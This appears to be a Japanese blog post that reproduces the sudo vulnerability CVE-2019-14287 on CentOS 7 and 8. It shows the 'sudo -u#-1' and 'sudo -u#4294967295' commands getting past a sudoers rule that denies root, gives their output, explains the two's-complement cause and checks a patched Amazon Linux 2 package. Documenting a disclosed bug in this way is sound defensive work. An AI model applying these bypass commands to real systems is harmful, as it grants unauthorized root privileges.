sudo
コマンドで UID に「-1」または「4294967295」を指定すると root 権限でコマンド実行出来る脆弱性が発見されたそうです。
- Potential bypass of Runas user restrictions
- CVE-2019-14287
- sudoの脆弱性情報(Important: CVE-2019-14287)と新バージョン(1.8.28)
- sudoでUIDに4294967295を指定すると途中からuid = 0と解釈される特権昇格の脆弱性
実際に脆弱性を試してみます。
テスト環境
テストは CentOS7 と CentOS8 で実施しました。 バージョンは以下の通りです。
- CentOS Linux release 7.7.1908 (Core)
- sudo-1.8.23-4.el7.x86_64
- CentOS Linux release 8.0.1905 (Core)
- sudo-1.8.25p1-4.el8.x86_64
また、/etc/sudoers
に下記が定義されているものとします。 !root
なので /usr/bin/reboot
は root
権限で実行出来ないように定義しています。
user1 ALL=(ALL,!root) /usr/sbin/reboot
結論
先にテスト結果をまとめておきます。 現時点では CentOS7 / 8 両者で同じ結果になりました。
No. | sudo 実行時の -u オプション |
root 権限でコマンド実行出来たか? |
意図した挙動か? |
---|---|---|---|
1 | root | 出来ない | 問題無い |
2 | #0 | 出来ない | 問題無い |
3 | #-1 | 出来る | 意図しない挙動 (脆弱) |
4 | #-2 | 出来ない | 問題無い |
5 | #4294967295 | 出来る | 意図しない挙動 (脆弱) |
6 | #4294967296 | 出来ない | 問題無い |
4,294,967,295 は 2 の補数で考えると「-1」
この脆弱性では「-1」または「4,294,967,295」という数字が登場します。 32bit で考えた場合、「-1」を 2 の補数で表現すると「4,294,967,295」になります。 つまり、「-1」も「4,294,967,295」も sudo
コマンドの内部的には同じ扱いをされている、と予想されます (時間あればソースコード読んでみます)。
ユーザ名 / UID を指定して sudo を実行する
sudo
で実行するコマンドはユーザ名や UID を指定して実行することが可能です。
ユーザ名を指定する
sudo
をユーザ名指定で実行するには以下のようにします。 -u
オプションとユーザ名の間にはスペースを入れないようにします。
sudo -uUSERNAME COMMAND
user1
として id
コマンドを実行したい場合は以下のようにします。
sudo -uuser1 id
UID を指定する
sudo
を UID 指定で実行するには以下のように実施します。 -u
に続けて #
と UID を指定します。 各々の間にはスペースを入れないようにします。
sudo -u#UID COMMAND
UID 1000 として id
コマンドを実行したい場合は以下のようにします。
sudo -u1000 id
reboot コマンドで再現テストしてみる
user1
でログインし、テストしていきます。
root ユーザ名指定 → 実行出来ない (OK)
root
ユーザ名を指定しても実行出来ません。 これは意図した挙動です。
user1~$ sudo -uroot reboot
Sorry, user user1 is not allowed to execute '/sbin/reboot' as root on 192.168.1.1.
UID 0 (root) を指定 → 実行出来ない (OK)
UID 0 (root
) を指定しても実行出来ません。 これは意図した挙動です。
user1~$ sudo -u#0 reboot
Sorry, user user1 is not allowed to execute '/sbin/reboot' as root on 192.168.1.1.
UID -1 (存在しないユーザ) を指定 → 実行出来る (NG)
UID -1 (存在しないユーザ) を指定すると root
権限でコマンド実行出来てしまいます… これは問題です。
user1~$ sudo -u#-1 reboot
Connection to 10.0.0.1 closed by remote host.
UID -2 (存在しないユーザ) を指定 → 実行出来ない (OK)
UID -2 (存在しないユーザ) を指定しても実行出来ません。 CentOS7 環境の場合はエラーハンドリング (値チェック) の実装が甘いような気もしますが、とりあえず「コマンドが実行出来ない」という観点では意図した挙動です。
user1~$ sudo -u#-2 reboot
(pkttyagent:3158): GLib-GObject-WARNING **: 23:22:47.463: value "-2" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:146:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Failed to execute operation: Operation not permitted
Must be root.
CentOS8 環境の場合は以下のようになりました。 こちらも「コマンドが実行出来ない」という意味では意図した挙動です。
user1~$ sudo -u#-2 reboot
Failed to set wall message, ignoring: Access denied
Failed to reboot system via logind: Access denied
UID 4294967295 (存在しないユーザ) を指定 → 実行出来る (NG)
UID 4294967295 を指定すると root
権限でコマンド実行出来てしまいます… これも問題です。
user1~$ sudo -u#4294967295 reboot
Connection to 10.0.0.1 closed by remote host.
UID 4294967296 (存在しないユーザ) を指定 → 実行出来ない (OK)
UID 4294967296 (4294967295 + 1 した値) を指定しても実行出来ません。 これは意図した挙動です。
user1~$ sudo -u#4294967296 reboot
sudo: unknown user: #4294967296
sudo: unable to initialize policy plugin
id コマンドで挙動を確認する
この脆弱性の挙動は id
コマンドを使うとよく分かります。 /etc/sudoers
に以下を定義した上で id
コマンドを使って挙動を確認します。 以下の定義により、user1
が root
権限で id
コマンドを実行すると「失敗する」のが期待値です。
user1 ALL=(ALL,!root) /usr/bin/id
root ユーザ名指定 → UID 0 (OK)
実行に失敗します。 意図した挙動です。
user1~$ sudo -uroot /usr/bin/id
Sorry, user user1 is not allowed to execute '/usr/bin/id' as root on 192.168.1.1.
UID 0 (root) を指定 → UID 0 (OK)
実行に失敗します。 意図した挙動です。
user1~$ sudo -u#0 /usr/bin/id
Sorry, user user1 is not allowed to execute '/usr/bin/id' as root on 192.168.1.1.
UID -1 (存在しないユーザ) を指定 → UID 0 (NG)
ここが問題です。 -1 を指定した場合、UID 0 = root
ユーザとして扱われ、しかも id
コマンドの実行に成功してしまっています。 /etc/sudoers
では id
コマンドを root
権限で実行出来なくしているにも関わらず、root
権限で実行出来てしまっているのは「脆弱である」と言えます。
user1~$ sudo -u#-1 /usr/bin/id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
UID -2 (存在しないユーザ) を指定 → UID 4294967294 (?)
-2 したことで UID が 4294967294 と表示されています。 実装が微妙な感じがします…
user1~$ sudo -u#-2 /usr/bin/id
uid=4294967294 gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
UID 4294967295 (存在しないユーザ) → UID 0 (NG)
ここも UID -1 を指定した場合と同じ挙動をしています。 -1 を指定した場合と同様、UID 0 = root
ユーザとして扱われ、しかも id
コマンドの実行に成功してしまっています。
user1~$ sudo -u#4294967295 /usr/bin/id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
UID 4294967296 (存在しないユーザ) を指定 → unknown user (OK)
存在しない UID を指定しているので unknown user
と表示されています。 これは意図した挙動です。
user1~$ sudo -u#4294967296 /usr/bin/id
sudo: unknown user: #4294967296
sudo: unable to initialize policy plugin
Amazon Linux2 の修正済みパッケージで動作確認してみる
Amazon Linux2 には修正済みパッケージが提供されいたので、動作確認してみました。 尚、現時点で Amazon Linux2 で提供されている、脆弱性修正済みパッケージは以下のバージョンでした。
- sudo-1.8.23-4.amzn2.0.1.x86_64
UID -1 (存在しないユーザ) を指定 → エラー (OK)
UID -1 指定で id
コマンドを実行すると、しっかり unknown user
扱いでエラーになっています。 これは意図した挙動であり、「脆弱性が修正されている」と言えます。
user1~$ sudo -u#-1 id
sudo: unknown user: #-1
sudo: unable to initialize policy plugin
UID 4294967295 (存在しないユーザ) → エラー (OK)
UID 4294967295 指定の場合も同様に、unknown user
扱いでエラーになりました。 これは意図した挙動であり、「脆弱性が修正されている」と言えます。
user1~$ sudo -u#4294967295 id
sudo: unknown user: #4294967295
sudo: unable to initialize policy plugin
コメント